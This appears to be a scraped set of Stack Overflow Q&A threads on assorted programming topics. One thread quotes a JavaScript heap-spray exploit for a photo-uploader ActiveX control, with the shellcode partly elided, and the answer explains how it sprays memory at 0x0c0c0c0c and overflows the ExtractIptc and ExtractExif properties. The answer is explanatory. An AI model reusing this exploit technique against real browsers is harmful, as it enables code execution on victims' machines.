<p>If this doesn't work for you, you could also use your current method, but include the URL to be redirected to in a hidden field like this:</p>
<pre><code><%= Html.Hidden("redirect", Request.Url %>
</code></pre>
|
jQuery: Adding context to a selector is much faster than refining your selector? <p>I just noticed that adding context to the selector is much faster than refining your selector.</p>
<p><code>$('li',$('#bar')).append('bla');</code></p>
<p>Is twice as faster than:</p>
<p><code>$('#bar li').append('bla');</code></p>
<p>Is this generally true?</p>
| <blockquote>
<p>adding context to the selector is much
faster than refining your selector</p>
</blockquote>
<p>This is true in the general case. With respect to your specific examples however it is not necessarily true for jQuery <= 1.2.6.</p>
<p>Up to and including jQuery 1.2.6 the selector engine worked in a "top down" (or "left to right") manner. Meaning that both your examples would operate like this (roughly):</p>
<pre><code>var root = document.getElementById('bar');
return root.getElementsByTagName('li');
</code></pre>
<p>jQuery 1.3.x (ie, <a href="http://sizzlejs.com/">Sizzle</a>, which jQuery embeds) <a href="http://www.slideshare.net/jeresig/recent-changes-to-jquerys-internals">introduced a "bottom up" (or "right to left") approach</a> to querying the DOM. So <code>$('#bar li')</code> now becomes (roughly):</p>
<pre><code>var results = [];
var elements = document.getElementsByTagName('li');
for(var i=0; i < elements.length; i++) {
var element = elements[i];
var parent = element.parentNode;
while(parent) {
if(parent.id == 'bar') {
results.push(element)
break;
}
parent = parent.parentNode;
}
}
return results
</code></pre>
<p>There are benefits and downsides to both approaches. You found one of the downsides.</p>
<p><strong>Edit</strong>: just found out from <a href="http://groups.google.com/group/jquery-dev/msg/97555a542602fc74">this discussion</a> that Sizzle trunk now makes a special exemption of selectors where <code>#id</code> is first. It uses that as the root context, speeding things up a bit. This should diminish if not eliminate the speed differences you are seeing.</p>
|
Java XML Node Edit without Node.getTextContents() <p>I'm using an old version of the JRE (1.4) where Node.getTextContents() and Node.setTextContents() are not available. Is there a long way to do these actions still?</p>
<p>Example XML:</p>
<pre><code><MyEle>4119<MyEle/>
</code></pre>
<p>Java:</p>
<pre><code>//myEleNode is a Node found while traversing
String nodeString = myEleNode.getTextContent();
if(nodeString.equals("4119")){//do something}
</code></pre>
| <p>The text is a child node of the MyEle element, so you would use something like:</p>
<pre><code>MyEle.getFirstChild().getNodeValue()
</code></pre>
|
POSTing to https form not always working <p>On my site I have a simple login form. The page is served via HTTP, but the form's POST URL is HTTPS.</p>
<p>The normal method is that the user fills in their username/password, the form is submitted (to the fully qualified HTTPS URL, on the same site), and then the POST processing does a 303 redirect to the users' homepage. But sometimes this doesn't happen.</p>
<p>The cycle (and this is 100% repeatable) is this:</p>
<ol>
<li>Visit login form, fill in details and submit</li>
<li>On the server the login script gets called, validates the data and then , if all is well, does a 303 redirect to the users home page.</li>
<li>I then click logout and then click login, at which point I'm taken back to the login form</li>
<li>I then fill in my details again, hit submit.</li>
<li>This time, however, the login logic doesn't execute (the debug code that logged the login at step 2 doesn't get called), and yet I'm still redirected to the users homepage. But because I've not been logged in successfully, I get kicked out to the front page...</li>
</ol>
<p>So why isn't the POST always calling the login form? I don't think the 303 is being cached (and it shouldn't be, according to the spec)...</p>
<p>Looking at the HTTPS logs in the server, login.phpo is being called the first time, but not the second....</p>
<p><strong>Edit:</strong></p>
<p>OK, we've solved the problem. For those that are interested:</p>
<p>The site is run on 2 webservers behind a load balancer. user sessions are 'sticky' - that is to say once a user is browsing on one web server the LB will keep them 'attached' to that server. This is done via a cookie. But once we switch to HTTPS the LB can't read the cookie, as the connection is encrypted between the browser and web server. So it was alternating between servers. WWe have code to propagate login authentications between webservers, but this wasn't happening fast enough. So what was happening was:</p>
<ol>
<li>User browsers to server A, gets a cookie saying 'keep me on A', fills in their login credentials and hits submit</li>
<li>The LB, being unable to decipher the HTTPS traffic (and thus the cookie), sends them 50% of the time to B</li>
<li>B validates the login and sets the user to be authenticated in the session, before redirecting the user to the non https homepage</li>
<li>Because the homepage is non https, the LB reads the cookie and sends them to A, which knows nothing of the authentication since it wasn't propagating fast enough from B...</li>
</ol>
<p>The solution was to allow the LB to decrypt HTTPS traffic, thus ensuring that users really do stay on one web server, regardless of HTTP/HTTPS transitions.</p>
| <p>How do you "log out" Have you tried clearing your cache to see if any leftover session variables are throwing it off?</p>
<p>In Firefox: Tools -> Clear Private Data -> Check Cache, Cookies, and Authenticated Sessions</p>
|
Returning an object as a property in ATL <p>I am creating a COM object using Visual Studio 2008 and ATL. Adding simple properties and methods is easy enough but now I want to do something more complicated. I want to give access to a C++ object via a property of my COM object, so I can do something like:</p>
<pre><code>// Pseudo-code
var obj = CreateObject("progid");
obj.aProperty.anotherProperty = someValue;
</code></pre>
<p>So, <code>aProperty</code> returns a reference to another object which exposes a property called <code>anotherProperty</code>.</p>
<p>I'm guessing that I need to add another simple ATL object to my project for the second object (call it <code>IClass2</code>), and have something like the following in the IDL:</p>
<pre><code>[propget, id(1)] HRESULT aProperty([out, retval] IClass2** ppValue);
</code></pre>
<p>Am I on the right track here? Does anyone know of a good tutorial for this sort of thing?</p>
| <p>If you're going to call it from an automation language, you'll need the interface returned to be derived from IDispatch, and you'll likely need to return it at least as an IDispatch**. For retval I think that's good enough; for simple [out] parameters you need to pass it as a VARIANT* (with the variant type set to VT_LPDISPATCH) so that the automation language can understand it.</p>
<p>I'm not sure if there's a good tutorial; it's been a while since I looked for a comprehensive reference. The best advice I could give would be to make sure everything you're passing is automation compatible (eg: is a type which you can put into a VARIANT), and that should take care of 80% of your problems. It's very doable, though; just read up on MSDN and you should be fine.</p>
|
Upgrade database from SQL Server 2005 to 2008 â and rebuild full-text indexes? <p>I upgraded from Sql Server 2005 to Sql Server 2008. I backed up the data in SQL Server 2005, and then I restored in SQL Server 2008. Next, I found the catalog under "Storage->Full Text Catalogs", and I right-clicked on it, and am trying to rebuild the Full-Text Catalog. The database is only 600mb. However, it keeps running for hours, and never semes to finish.</p>
| <p>Take a look at the following article.</p>
<p>It provides details and references for best practices for using Full Text Search in SQL Server 2008.</p>
<p><a href="http://sqlcat.com/msdnmirror/archive/2008/11/05/best-practices-for-integrated-full-text-search-ifts-in-sql-2008.aspx" rel="nofollow">http://sqlcat.com/msdnmirror/archive/2008/11/05/best-practices-for-integrated-full-text-search-ifts-in-sql-2008.aspx</a></p>
<p>If you need specific assistance just drop me a line.</p>
<p>Cheers,</p>
|
Scrum - where do you do all the 'other' stuff? <p>With Scrum, there is the principal of user stories and these stemming tasks etc etc iterating around to a finished product - which is fine.</p>
<p>But, let's say I have 100 features that need implementing, in the real world I can't put any developer on these until a lot of the normal ancillary stuff has been done - for instance, doing a UI design (surely you need to have an overall idea of functionality for this?), or building the underlying stuff that doesn't necessarily manifest itself as a feature.</p>
<p>So, where does this happen?</p>
| <p>My understanding is that in scrum you only build what is required to implement each user story. Therefore, you build the underlying stuff that is not a feature only when it is required to implement a feature for the user story you are working on.</p>
|
Database design, how to setup tables <p>I have a simple ecommerce type site that will have users with accounts, orders, and contact/billing information for those users. I just wanted to know the best way to setup these tables from an efficiency and logical point of view. So far I have basically two different entities, users and orders. Users will have basic account information like name and password, Orders will contain all the information about the certain order. </p>
<p>My question is, should I include all contact/billing information within the User table or make two separate tables to contain contact and billing information?</p>
| <p>You might have to think about this a little more:</p>
<p>Users have a contact and billing address, what about shipping and other addresses? Is it possible to have two users from one company, each with different contact addresses but the same billing address? Is it possible for one user to have multiple billing addresses that they will choose at the time of order?</p>
<p>Then when it comes to your orders, what happens if a customer updates his billing address, and then you pull up an order from before the billing address changed. Should the billing address on the old order be the new one, or the one from the time of the order?</p>
<p>If the problem is as simple as you describe, and a user simply has contact and billing addresses, and there are no other "what ifs", then it makes sense to just put those addresses in the user's table. From my limited experience in this domain, however, you may very well find that addresses need to be entities in their own right, separate from specific users. In fact, it may be that you think of a "user" as a "contact address". </p>
|
Prism 2 SL : Remove View from Region when button clicked <p>I am new to Prism and I am trying to determine a best practice for deactivating a view in a Prism 2 application -- when a user clicks a button on the view I want to deactivate the view. The view is executing a command when the button is clicked.</p>
<p>The view model is receiving the command but the viewmodel does not have a reference to the regionmanager.</p>
<p>Should the view model know about the region manager? And even if the viewmodel had a reference to it, it needs the view instance to pass to the deactive method on the containing region.</p>
<p>I am using the MVVM pattern for the app.</p>
| <p>I'm gonna go on a limb here and assume that you are using an itemscontrol or such for your region, because that's the most obvious use of a "button that removes a view".</p>
<p>In that case, you should have a Controller (or whatever you want to call it, but the Prism team seems to use that kind of name for that kind of responsibility) somewhere in charge of managing the active ViewModels, and either you display your views using DataTemplates, or you manually create/add/activate a new view when adding a new instance.
Your case seems to be the second one, and the controller should be responsible for managing the views. Your viewmodel should get a reference to that controller through Dependency Injection and ask it to remove it from the pool of active models/views.</p>
<p>The Controller itself receives the IRegionManager and finds the Region it is responsible for.</p>
<p>I hope that makes sense, please comment if it does not.</p>
|
How to convert a Swing Application to an Applet? <p>I created a desktop application with Swing Application Framework, now how can I convert it to an applet? The main class extends SingleFrameApplication.</p>
<p>EDITED: This is the starting class, used NetBeans GUI builder:</p>
<pre><code>public class PhotoApp extends SingleFrameApplication {
/**
* At startup create and show the main frame of the application.
*/
@Override protected void startup() {
show(new PhotoView(this));
}
/**
* This method is to initialize the specified window by injecting resources.
* Windows shown in our application come fully initialized from the GUI
* builder, so this additional configuration is not needed.
*/
@Override protected void configureWindow(java.awt.Window root) {
}
/**
* A convenient static getter for the application instance.
* @return the instance of PhotoUploaderApp
*/
public static PhotoApp getApplication() {
return Application.getInstance(PhotoApp.class);
}
/**
* Main method launching the application.
*/
public static void main(String[] args) {
launch(PhotoApp.class, args);
}
}
</code></pre>
| <p>The quick and dirty way:</p>
<p>Drop extends SingleFrameApplication.
Add extends JApplet.</p>
<p>replace the constructor with public void init()
leaving the body as is.</p>
<p>Create an HTML page to hold it. and give it a whirl.</p>
<p>There will likely be some scoping issues, but you should be able to fix those fairly easily.</p>
|
I don't understand this Code <p>I do not understand this code snippet :</p>
<pre><code>function ms(){
var plc=unescape('".
unescape( '\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage();
if (mf)return(0);
mf=1;
var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++) m[i]=ss+plc;
hav();
return(1);
}
</code></pre>
<p>In the above function I can't seem to figure out the variable types, or figure out what it's doing with the <code>hsta</code> variable, and what it's assigning to it:</p>
<pre><code>var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++)m[i]=ss+plc;
</code></pre>
<p>I also can't figure out this function :</p>
<pre><code>function fb(){
try {
var obj=null;
obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}');
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
while (buf.length < 400) buf += buf;
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;
}
} catch(e){}
return 0;
}
</code></pre>
<p>What does the following code mean? </p>
<blockquote>
<p><code>cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}')</code></p>
</blockquote>
<p>What kind of variable is this? </p>
<pre><code>var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;
</code></pre>
<p>Most importantly, what is that code snippet trying to do?</p>
<p>Here are some more functions:</p>
<pre><code>function hex(num,width){
var digits='0123456789ABCDEF';
var hex=digits.substr(num&0xF,1);
while(num>0xF){
num=num>>>4;
hex=digits.substr(num&0xF,1)+hex;
}
var width=(width?width:0);
while(hex.length<width)hex='0'+hex;
return hex;
}
function addr(addr){
return unescape('%u'+hex(addr&0xFFFF,4)+'%u'+hex((addr>>16)&0xFFFF,4));
}
</code></pre>
<p>Any guidance would be appreciated.</p>
| <p>It's a javascript snippet trying to exploit a security vulnerability related to Facebook, more specifically to its image uploader client side ActiveX control.</p>
<p>The <code>cobj</code> part tries to create an object of ClassID <code>{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}</code> which happens to be an ActiveX photo uploader control. The ExtractIptc and ExtractExif functions belong to that specific ActiveX control.</p>
<p>The core of the code is really memory address manipulation, shifting, using masks to separate high and low bits. For example, <code>hex((addr>>16)&0xFFFF,4))</code> takes an address, shifts it 16 bits to the right, clears up the lower part and converts it to a hex number. To actually understand most of this code, you should have the right debugging tools. </p>
<p>Googling the <code>{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}</code> ClassID gave some interesting results you should look into:</p>
<p><a href="http://www.kb.cert.org/vuls/id/776931" rel="nofollow">http://www.kb.cert.org/vuls/id/776931</a></p>
<p><a href="http://seclists.org/fulldisclosure/2008/Feb/0023.html" rel="nofollow">http://seclists.org/fulldisclosure/2008/Feb/0023.html</a></p>
<p><a href="http://securitytracker.com/alerts/2008/Feb/1019297.html" rel="nofollow">http://securitytracker.com/alerts/2008/Feb/1019297.html</a></p>
<p>Please note, this is not PHP. It's javascript.</p>
<p><strong>More details...</strong></p>
<p>cobj is probably translated into a CreateObject() call. Every registered ActiveX control has its own Class ID, and they have the form <code>{0000000000-0000-0000-0000-000000000000}</code>. When you want to refer to the registered library, and create an instance of it, you can use either its name or its Class ID. </p>
<p>The ActiveX control itself should be an .OCX or .DLL file on your computer. If you can find this file and debug it, you'll get most specific details about the ExtractIptc and ExtractExif functions. Again, those two functions seem to have vulnerabilities when called in a specific way, and this is what that script is trying to exploit.</p>
<p>The <code>var hsta=0x0c0c0c0c</code> part defines a variable hsta, equal to the hexadecimal number 0c0c0c0c. It's the same as writing <code>var hsta = 202116108</code>. In computer engineering, it's easier to deal with hexadecimal addresses than decimal numbers since addresses and data inside the computer's memory is binary and can be directly represented as a hex number. More details about hexadecimal there: <a href="http://en.wikipedia.org/wiki/Hexadecimal" rel="nofollow">http://en.wikipedia.org/wiki/Hexadecimal</a>. </p>
<p>The variable name hsta seems to be in hungarian notation (first letter represents the variable type - h for hex). I would therefore assume it means <em>hexadecimal start address</em> (hsta). Following the same train of thought, my guess would be that <code>pl</code> means payload and <code>plc</code> means payload code. </p>
<p>The payload code is the code the computer will execute if the exploit was successful, and it's what you see at the beginning of the script <code>(\x43\x43\x43\x43\n....\xEF)</code>. It's encoded as <a href="http://stackoverflow.com/questions/1469559/help-me-understand-this-c-code-void-scode">shell code</a> for a particular CPU architecture and operating system. That means code that's already compiled, standalone, and can be piped to the CPU directly. If you decode this, you'll probably find something close to machine code. It's probably nothing positive.</p>
<p>The <code>hex(num,width)</code> function converts a decimal number to its hexadecimal form. I've tested the function separately, and it returned 3E8 when feeding it 1000. The width variable is simply used to exit the script if the resulting hexadecimal number is bigger than specified.</p>
<p>About this part:</p>
<pre><code>var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;
</code></pre>
<p>The buf variable is a buffer. A buffer is nothing more than data in memory. It can be interfaced as a string, as shown in this code. My guess is that a buffer of 400 bytes is created from whatever contents is in memory at 0x0c0c0c0c, and then fed into two functions.</p>
<p>There are several function definitions missing in here. Namely, the hav() function.</p>
|
IPhone Accelerometer Determine Motion <p>Using the accelerometer output, how do I determine if the user (iphone mounted on waist) is walking?</p>
<p>Looking for a good algorithm to determine if the user is walking to determine activity transitions- standing-to-walking or walking-to-standing.</p>
<p>please help.</p>
<p>Thank you for your time.</p>
| <p>For a previous project, I tried calculating the magnitude of the acceleration vector, and just setting a threshold of about 2g, and that worked pretty well in testing. A typical (hardware) pedometer will ignore single jolts that happen more than about a second apart, which seems like a good way to filter out occasional movement that isn't "walking".</p>
<p>Additionally, you could automatically adjust the threshold by examining the data for a while.</p>
|
How to have jQuery restrict file types on upload? <p>I would like to have jQuery limit a file upload field to only jpg/jpeg, png, and gif. I am doing backend checking with <code>PHP</code> already. I am running my submit button through a <code>JavaScript</code> function already so I really just need to know how to check for the file types before submit or alert.</p>
| <p>You can get the value of a file field just the same as any other field. You can't alter it, however.</p>
<p>So to <strong>superficially</strong> check if a file has the right extension, you could do something like this:</p>
<pre><code>var ext = $('#my_file_field').val().split('.').pop().toLowerCase();
if($.inArray(ext, ['gif','png','jpg','jpeg']) == -1) {
alert('invalid extension!');
}
</code></pre>
|
Web Routing for IIS6 and II7 Classic Mode? *NOT* MVC <p>According to the msdn.microsoft.com site, .NET 3.5 Routing should work under IIS6 and II7 in classic mode. I've made the mods to the web.config file and tested under IIS7 integrated mode and it's working great.</p>
<p>I'd love to keep IIS7 Integrated, but my webhost is still just IIS6 (with .net 3.5).</p>
<p>So... has anyone gotten this to work?</p>
<p>I'm currently getting 404 errors and the only switch is going from IIS7 integrated to IIS7 classic on the application.</p>
| <p>The joy of the internet... keep searching and rephrasing and you find it yourself. :)</p>
<p>For posterity, the answer is to enable a wildcard mapping that routes all requests through ASP.NET ISAPI.</p>
|
Issue trying to bind rss feed to repeater <p>I am trying to bind a datatable to a repeater. To do this, according to a code sample, I need to call dataview() when choosing the datasource property of the repeater and then write databind().</p>
<p>When I do this, I still get the exception that the source to databind to is not derived from IDatasourceControl.</p>
<p>What is the correct way to bind a datatable to a repeater? I want each record to repeat itself in the repeater (obviously).</p>
<p>I have seen this link (<a href="http://blogs.x2line.com/al/archive/2008/06/21/3469.aspx" rel="nofollow">http://blogs.x2line.com/al/archive/2008/06/21/3469.aspx</a>). What exactly does Container.Dateitem in the expression on the ASPX page mean?</p>
<p>Thanks</p>
| <p>With a repeater you should be able to just do the following:</p>
<pre><code>rpYourRepeater.DataSource = dtYourDataTable;
rpYourRepeater.DataBind();
</code></pre>
<p>That's it. </p>
<p>Just verify that your DataSourceID is tied to a real field in your datatable or just leave the DataSourceID out completely as you don't really need it depending on what you are doing.</p>
<p>You don't need any of that dataview stuff unless you want to start putting filters on your data.</p>
|
How do I make Weblogic 8.1 serve static content? <p>I come from the Open source world where I'm used to having Apache serve up my images, css, javascript, etc., while Tomcat or an app server of its ilk handles all the Java EE lifting.</p>
<p>But now I'm doing a project with Weblogic 8.1, and I can't seem to figure out how to get it to work. For example, the concept of a document root. How can I configure this?</p>
| <p>You might want to take a look <a href="http://e-docs.bea.com/wls/docs81/adminguide/web%5Fserver.html#105827" rel="nofollow">here</a> and <a href="http://e-docs.bea.com/wls/docs81/webapp/index.html" rel="nofollow">here</a>:</p>
<p>Here's the short version of what BEA says:</p>
<blockquote>
<p>Web Applications</p>
<p>HTTP and Web Applications are deployed
according to the Servlet 2.3
specification from Sun Microsystems,
which describes the use of Web
Applications as a standardized way of
grouping together the components of a
Web-based application. These
components include JSP pages, HTTP
servlets, and static resources such as
HTML pages or image files.</p>
</blockquote>
<p>Basically, what I had to do get this type of thing to work was to configure my set of static pages as an application, and deploy it as such. In whatever directory or .war you deploy, you'll need a WEB-INF directory and probably a web.xml file within that points at your static files. </p>
<p>We're running WL 10, but the concept should be the same:</p>
<p>here's snip of our config.xml that we use to serve some static content:</p>
<pre><code><app-deployment>
<name>myStaticContentApp</name>
<target>myAppServer</target>
<module-type>war</module-type>
<source-path>myStaticContentDir</source-path>
<deployment-order>100</deployment-order>
<security-dd-model>Advanced</security-dd-model>
<staging-mode>nostage</staging-mode>
</app-deployment>
</code></pre>
<p>And then in the directory "myStaticContentDir" we have the static files and then a WEB-INF directory with this as the web.xml within it:</p>
<pre><code><!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<welcome-file-list>
<welcome-file>myStaticFile.html</welcome-file>
</welcome-file-list>
</web-app>
</code></pre>
|
Wpf Toolkit. Bind DataGrid Column Header to DynamicResource <p>I'm trying to bind DataColumn Header to DynamicResource using following code.</p>
<pre><code><Window.Resources>
<sys:String x:Key="HeaderText">Header Text</sys:String>
</Window.Resources>
<Grid>
<tk:DataGrid>
<tk:DataGrid.Columns>
<tk:DataGridTextColumn Header="{DynamicResource HeaderText}" Width="100"/>
</tk:DataGrid.Columns>
</tk:DataGrid>
</Grid>
</code></pre>
<p>But for some strange reason column header remains empty. StaticResource however works well.
Could you please help me to figure out how to bind that Header property to some DynamicResource.</p>
| <p>Try this:</p>
<pre><code><Window.Resources>
<sys:String x:Key="HeaderText">Header Text</sys:String>
<Style x:Key="HeaderTextStyle" TargetType="{x:Type Primitives:DataGridColumnHeader}">
<Setter Property="Content" Value="{DynamicResource HeaderText}" />
</Style>
</Window.Resources>
<Grid>
<tk:DataGrid>
<tk:DataGrid.Columns>
<tk:DataGridTextColumn HeaderStyle="{StaticResource HeaderTextStyle}" Width="100"/>
</tk:DataGrid.Columns>
</tk:DataGrid>
</Grid>
</code></pre>
<p>WPF Toolkit's DataGrid has DataGridColumns which are not Visual controls, so they have some funny rules. One of those funny rules is that only the Binding property can be a Binding - everything else must be static. To circumvent this, you can create a Static Style Resource which contains Dynamic Content.</p>
|
Using MD5 hash on a string in cocoa? <blockquote>
<p><strong>Possible Duplicate:</strong><br>
<a href="http://stackoverflow.com/questions/1524604/md5-algorithm-in-objective-c">MD5 algorithm in Objective C</a> </p>
</blockquote>
<p>I need to hash a string using the MD5 technique in cocoa. Any frameworks that are used must be able to be accessed on the iphone. please provide code if possible.</p>
| <p>Noticed this in the Facebook Connect source code. Looks pretty solid, give it a shot.</p>
<pre><code>#import <CommonCrypto/CommonDigest.h>
...
+ (NSString*)md5HexDigest:(NSString*)input {
const char* str = [input UTF8String];
unsigned char result[CC_MD5_DIGEST_LENGTH];
CC_MD5(str, strlen(str), result);
NSMutableString *ret = [NSMutableString stringWithCapacity:CC_MD5_DIGEST_LENGTH*2];
for(int i = 0; i<CC_MD5_DIGEST_LENGTH; i++) {
[ret appendFormat:@"%02x",result[i]];
}
return ret;
}
...
</code></pre>
|
Escaping verbatim string literals <p>I have the following string which won't compile:</p>
<pre><code>String formLookupPull = @"SELECT value1, '"+tableName+"', '"+columnName+"' FROM lkpLookups WHERE ""table"" = '" + tableName + "' and ""field"" = '" + columnName + "';";
</code></pre>
<p>The offending sections are :</p>
<pre><code>""table"" =
</code></pre>
<p>and </p>
<pre><code>""field"" =
</code></pre>
<p>The compiler is getting all mixed up on the escape sequence. Can anyone see what's wrong?</p>
| <p>To address your title question...</p>
<p>To escape the quote in a verbatim string literal, use the quote-escape-sequence <code>""</code> (that's two quote characters)</p>
<pre><code>string a = @"He said ""Hi!""..."; // He said "Hi!"...
</code></pre>
<p>See <a href="http://msdn.microsoft.com/en-us/library/aa691090.aspx">MSDN</a> for more details on escaping, etc.</p>
<p>Note that in your posted code, the only verbatim string is the very first one (with the <code>@</code> before it). The subsequent strings are not verbatim, so the proper escape sequence would be <code>\"</code>.</p>
<p>You can make it look prettier with <code>string.Format</code>:</p>
<pre><code>String formLookupPull =
string.Format(@"SELECT value1, '{0}', '{1}' FROM lkpLookups" +
@"WHERE ""table"" = '{0}' and ""field"" = '{1}';",
tableName, columnName)
</code></pre>
|
PHP library or command line? <p>I have run into two situations lately where I have chosen to use the command line for doing something rather than the PHP library. For example, in PHP doing this: </p>
<pre>
`curl http://someplace.com`
</pre>
<p>instead of this:</p>
<pre>
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
</pre>
<p>The other situation is using ImageMagick's command line interface, instead of the PHP interface.</p>
<p>Some people I have talked to think that using the libraries is better. Some say better is faster, other say safer, etc.</p>
<p>What is your opinion? What are the benefits to using one over the other?</p>
<p>I know one benefit, is that I only have one line of code instead of 5.</p>
| <p>I'd always use the libraries:</p>
<ol>
<li><p>No need to fork twice (once for the sub-shell, and another for the program you're running) - hence faster</p></li>
<li><p>No need to worry about escaping command line arguments, which helps security</p></li>
</ol>
<p>If the number of lines of code is a worry, write those 5 lines once in a function, and then call that function when you need it.</p>
|
What is the AppDelegate for and how do I know when to use it? <p>I'm just beginning to work on iPhone apps. How do I know when I should be putting stuff in AppDelegate versus a custom class? Is there a rule or any type of analogy with another programming language like Python or PHP that uses an AppDelegate like pattern?</p>
| <p>I normally avoid the design approach implied by Andrew's use of the term "heart of your application". What I mean by this is that I think you should avoid lumping too many things in a central location -- good program design normally involves separating functionality by "area of concern".</p>
<p>A delegate object is an object that gets notified when the object to which it is connected reaches certain events or states. In this case, the Application Delegate is an object which receives notifications when the UIApplication object reaches certain states. In many respects, it is a specialized one-to-one Observer pattern.</p>
<p>This means that the "area of concern" for the AppDelegate is handling special UIApplication states. The most important of these are:</p>
<ul>
<li>applicationDidFinishLaunching: - good for handling on-startup configuration and construction</li>
<li>applicationWillTerminate: - good for cleaning up at the end</li>
</ul>
<p>You should avoid putting other functionality in the AppDelegate since they don't really belong there. Such other functionality includes:</p>
<ul>
<li>Document data -- you should have a document manager singleton (for multiple document applications) or a document singleton (for single document applications)</li>
<li>Button/table/view controllers, view delegate methods or other view handling (except for construction of the top-level view in applicationDidFinishLaunching:) -- this work should be in respective view controller classes.</li>
</ul>
<p>Many people lump these things into their AppDelegate because they are lazy or they think the AppDelegate controls the whole program. You should avoid centralizing in your AppDelegate since it muddies the areas of concern in the app and doesn't scale.</p>
|
Change webserver used by Flex in FlexBuilder to .NET Framework 3.5 <p>I just had to reformat and reinstall Flex and reconstruct a project.</p>
<p>The problem is i am using ASP.NET as my server side technology and using LINQ in my files. The version of <code>WebDev.Webserver.exe</code> that FlexBuilder starts up is the wrong version so I get this error :</p>
<blockquote>
<p>Compiler Error Message: CS0234: The
type or namespace name 'Linq' does not
exist in the namespace 'System' (are
you missing an assembly reference?)</p>
<p>Microsoft (R) Visual C# 2005 Compiler
version 8.00.50727.3053 for Microsoft
(R) Windows (R) 2005 Framework version
2.0.50727 Copyright (C) Microsoft Corporation 2001-2005. All rights
reserved.</p>
</blockquote>
<p>I know that changing to the latest version of ASP.NET / Framework will fix this - but I just can't figure out HOW to make that change in Flexbuilder. I cant even remember if i ever successfully did it before or if I just created a virtual directory in IIS7.</p>
<p>Where would I change the version?</p>
| <p>It turned out I only had a very minimal <code>web.config</code> file set up.</p>
<pre><code><?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<directoryBrowse enabled="true" />
</system.webServer>
</configuration>
</code></pre>
<p>Once I opened the project in Visual Studio (which I hadn't done) - it upgraded the web.config to one of those really long ones and then the 3.5 framework was used. I didn't have to make any changes in the Flex environment.</p>
|
Neural networks - input values <p>I have a question that may be trivial but it's not described anywhere i've looked. I'm studying neural networks and everywhere i look there's some theory and some trivial example with some 0s and 1s as an input. I'm wondering: do i have to put only one value as an input value for one neuron, or can it be a vector of, let's say, 3 values (RGB colour for example)?</p>
| <p>The above answers are technically correct, but don't explain the simple truth: there is <em>never</em> a situation where you'd need to give a vector of numbers to a single neuron.</p>
<p>From a practical standpoint this is because (as one of the earlier solutions has shown) you can just have a neuron for each number in a vector and then have all of those be the input to a single neuron. This should get you your desired behavior after training, as the second layer neuron can effectively make use of the entire vector.</p>
<p>From a mathematical standpoint, there is a fundamental theorem of coding theory that states that <em>any</em> vector of numbers can be represented as a single number. Thus, if you really don't want an extra layer of neurons, you could simply encode the RGB values into a single number and input that to the neuron. Though, this coding function would probably make most learning problems more difficult, so I doubt this solution would be worth it in most cases.</p>
<p>To summarize: artificial neural networks are used without giving a vector to an input unit, but lose no computational power because of this. </p>
|
How do I detect a Lock This Computer command from a WPF application? <p>Would prefer an answer in C#, .Net 3.5 using WPF (Windows Forms also okay)</p>
<p>I have an application that is essentially a toolbar window or tray icon. It needs to detect if a user locks his/her workstation and walks away in order to update the person's status in a centralized system.</p>
<p>I can detect a session switch or a logout easily enough, using the SystemEvents, but I cannot for the life of me figure out how to detect or receive an event on Lock.</p>
<p>Thanks for any assistance.</p>
| <p>When you handle the <a href="http://msdn.microsoft.com/en-us/library/microsoft.win32.systemevents.sessionswitch%28VS.85%29.aspx"><code>Microsoft.Win32.SystemEvents.SessionSwitch</code></a> event (which it sounds like you're already doing to detect logout), check to see if the <code>Reason</code> is <a href="http://msdn.microsoft.com/en-us/library/microsoft.win32.sessionswitchreason.aspx"><code>SessionSwitchReason</code></a><code>.SessionLock</code>:</p>
<pre><code> using Microsoft.Win32;
// ...
// Somewhere in your startup, add your event handler:
SystemEvents.SessionSwitch +=
new SessionSwitchEventHandler(SystemEvents_SessionSwitch);
// ...
void SystemEvents_SessionSwitch(object sender, SessionSwitchEventArgs e)
{
switch(e.Reason)
{
// ...
case SessionSwitchReason.SessionLock:
// Do whatever you need to do for a lock
// ...
break;
case SessionSwitchReason.SessionUnlock:
// Do whatever you need to do for an unlock
// ...
break;
// ...
}
}
</code></pre>
|
How to let my visitors to listen to different online radios using flash player? <p>After I've found out that WMP is not best idea for Firefox users as they need to install additional plugin, I wanted to try out JW player and I googled all I could about audio streaming and flash players.</p>
<p>I got something like www.onlineradio.com/32.asx -> it's not on my server, it's different server, but I can't seem to find a solution to let my visitors to play this content as they wish to. It works over WMP. JW Player does not work the way I want it to work, or I might be using it wrong way.</p>
<p>Please, help me with this one. </p>
<p>edit: Is there any real reason why flash can't do this but WMP can? Isn't there any solution for both FF and IE? - of course I wouldn't contact all radios.</p>
| <p>For security reasons, you can't do it with flash unless you either set up a proxy on your web server, or you get the owners of the radio station to add your website to the crossdomain.xml file on their server.</p>
<p><a href="http://kb.adobe.com/selfservice/viewContent.do?externalId=tn_14213" rel="nofollow">http://kb.adobe.com/selfservice/viewContent.do?externalId=tn_14213</a></p>
|
Know of any small projects implementing an HTTP service using libevent? <p>My C is a bit rusty. I have some ideas I'd like to try and realize with libevent. Do you know any codebase I can use as a reference?</p>
